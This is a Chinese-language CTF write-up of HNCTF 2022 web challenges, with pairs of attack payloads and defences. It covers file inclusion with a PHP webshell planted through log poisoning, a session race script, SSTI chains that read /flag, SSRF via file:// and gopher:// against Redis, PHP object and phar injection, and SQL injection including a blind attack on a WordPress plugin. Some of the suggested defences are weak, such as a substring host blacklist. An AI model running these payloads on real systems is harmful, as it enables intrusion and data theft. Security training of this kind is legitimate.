【Web安全】从HNCTF 2022题解看常见Web漏洞实战利用与防御
1. Web安全实战:从HNCTF 2022看漏洞攻防本质
去年参加HNCTF时,我发现很多选手面对Web题总是束手无策。其实CTF中的Web漏洞都是真实网络攻防的缩影,比如某电商平台就曾因文件包含漏洞导致百万用户数据泄露。让我们以HNCTF 2022的典型题目为例,拆解五大核心漏洞的攻防逻辑。
Web安全本质上是一场输入与过滤的博弈。攻击者想方设法构造异常输入,防御者则通过过滤和校验建立安全边界。在Interesting_include这道题中,出题人用php://filter伪协议设置陷阱,这正是现实中攻击者读取系统文件的常用手段。去年某CMS爆出的高危漏洞(CVE-2022-31626)利用方式与此如出一辙。
2. 文件包含漏洞:从任意读到RCE的进化
2.1 基础利用手法
在easy_include题目中,典型的日志文件包含漏洞演示了攻击链条:
- 通过
?file=/var/log/nginx/access.log确认漏洞存在 - 在User-Agent中植入PHP代码:
<?php system($_GET['cmd']);?> - 包含日志文件触发代码执行
我调试时发现个细节:Apache默认日志路径是/var/log/apache2/access.log,而Nginx则是/var/log/nginx/access.log。这种差异在实战中可能导致攻击失败。
2.2 高阶绕过技巧
QAQ_1inclu4e题目展示了进阶玩法——Session文件包含。解题时需要:
- 通过条件竞争上传恶意Session
- 包含
/tmp/sess_[id]文件 - 使用PHP的
session.upload_progress特性
# 条件竞争脚本核心逻辑 def upload(session): while True: files = {'file': ('shell.php', '<?php eval($_POST[1]);?>')} data = {'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("id");?>'} session.post(url, files=files, data=data, cookies={'PHPSESSID':'test'})2.3 防御方案
- 禁用危险协议:
php.ini中设置allow_url_include=Off - 白名单校验:
$allowed = ['about.php','contact.php']; if(!in_array($file, $allowed)) die(); - 目录限制:
open_basedir = /var/www/html
3. SSTI漏洞:模板引擎的致命缺陷
3.1 漏洞原理
ez_SSTI题目使用Flask框架,当使用{{7*7}}测试返回49时,就确认存在模板注入。不同引擎的payload差异很大:
| 引擎类型 | 测试Payload | 危险函数调用 |
|---|---|---|
| Jinja2 | {{config.__class__}} | __globals__.__builtins__.eval |
| Twig | {{_self.env}} | system("id") |
| Smarty | {system("id")} | 直接执行系统命令 |
3.2 实战利用
在ssssti题目中,我通过分步测试发现过滤规则:
- 先尝试
{{lipsum.__globals__}}获取全局变量 - 发现
os模块被禁后,改用__import__('subprocess').check_output('ls') - 最终payload采用链式调用绕过过滤:
?name={{lipsum[request.a][request.b][request.c](request.d).popen(request.e).read()}} &a=__globals__&b=__builtins__&c=__import__&d=os&e=cat /flag3.3 防御建议
- 禁用动态模板:
env = Environment(undefined=StrictUndefined) - 内容转义:
from markupsafe import escape; escape(user_input) - 沙箱隔离:使用
jinja2.sandbox.SandboxedEnvironment
4. SSRF漏洞:内网渗透的跳板
4.1 基础利用
ez_ssrf题目演示了典型的SSRF攻击链:
- 发现
?url=http://example.com参数 - 尝试访问内网服务:
http://127.0.0.1:8080 - 通过CRLF注入构造完整HTTP请求:
GET /flag.php HTTP/1.1 Host: 127.0.0.1 Connection: Close4.2 协议拓展攻击
除了HTTP协议,SSRF还可能利用:
- file协议:
file:///etc/passwd - dict协议:
dict://127.0.0.1:6379/info(探测Redis) - gopher协议:可构造任意TCP流量
某次实战中,我通过gopher://协议成功攻击了内网的Redis服务,实现了未授权访问。
4.3 防御方案
- 协议白名单:
if(!['http','https'].includes(url.protocol)) reject(); - 域名黑名单:
blocked = ['localhost','127.0.0.1']; if(blocked.some(v=>url.host.includes(v))) reject(); - 请求限制:禁用CURLOPT_FOLLOWLOCATION
5. 反序列化漏洞:对象注入的艺术
5.1 POP链构造
easy_unser题目需要绕过__wakeup魔术方法,关键步骤:
- 分析源码找到可利用的类方法
- 构造属性覆盖:
O:4:"body":3:{s:10:"\x00body\x00want";s:36:"php://filter/convert.base64-encode/resource=f14g.php";} - 注意PHP7+私有属性编码问题
class VulnerableClass { private $cmd = "id"; function __destruct() { system($this->cmd); } } unserialize($_GET['data']); // 注入对象5.2 Phar反序列化
ez_phar题目展示了更隐蔽的攻击方式:
- 创建恶意phar文件
- 通过文件操作函数触发:
file_exists('phar://uploaded/file') - 自动执行Metadata中的对象方法
5.3 防御措施
- 禁用危险函数:
disable_functions = unserialize - 签名校验:
phar.require_hash=On - 使用JSON替代:
json_decode($data, true)
6. SQL注入:永恒的安全课题
6.1 无列名注入
easy_sql题目演示了当information_schema被禁用时的注入技巧:
0' union select 1,2,group_concat(`1`) from (select 1 union select * from secret_table) x where '1这种技术在我审计某开源项目时同样适用,通过子查询别名访问未知列名。
6.2 时间盲注进阶
ohmywordpress题目需要结合时间盲注和WordPress特性:
payload = { "action": "qcopd_upvote_action", "post_id": f"(SELECT IF(ASCII(SUBSTR((SELECT GROUP_CONCAT(a) FROM " f"(SELECT 1 as a UNION SELECT * FROM flag)b),{i},1))={o},SLEEP(3),0))" }6.3 防御方案
- 预编译语句:
$stmt = $pdo->prepare("SELECT * FROM users WHERE id=?"); - 最小权限原则:数据库账户仅授予必要权限
- WAF规则:过滤
union select、information_schema等关键词
在fun_sql题目中,我意外发现load_file()函数可以绕过某些过滤规则读取文件,这提醒我们防御需要多层设计。某次真实渗透测试中,正是通过这种特性成功读取了服务器配置文件。
